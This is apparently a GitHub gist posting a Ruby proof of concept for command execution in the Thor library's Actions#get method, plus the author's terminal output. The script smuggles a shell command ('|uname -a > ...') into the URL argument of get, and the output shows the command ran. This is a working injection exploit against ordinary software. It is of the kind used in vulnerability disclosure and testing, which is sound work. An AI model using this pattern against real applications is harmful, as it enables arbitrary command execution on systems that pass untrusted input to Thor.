Skip to content

Instantly share code, notes, and snippets.

@ecneladis
Created January 8, 2016 18:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ecneladis/c077dd011aed5dbdf3d5 to your computer and use it in GitHub Desktop.
Save ecneladis/c077dd011aed5dbdf3d5 to your computer and use it in GitHub Desktop.
Code execution in Thor::Actions#get
#!/usr/bin/env ruby
require 'thor'
class CLI < Thor
include Thor::Actions
desc "cmd_exec", "cmd_exec poc"
def cmd_exec()
get "|uname -a > cmd_exec_test;\nhttps://gist.github.com", "/tmp/dsadas"
end
end
CLI.start(ARGV)
@ecneladis
Copy link
Author

~/thor_cmd_exec ❯ ./thor_cmd_exec.rb cmd_exec
sh: line 1: https://gist.github.com: No such file or directory
   identical  /tmp/dsadas
~/thor_cmd_exec ❯ cat cmd_exec_test
Darwin

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment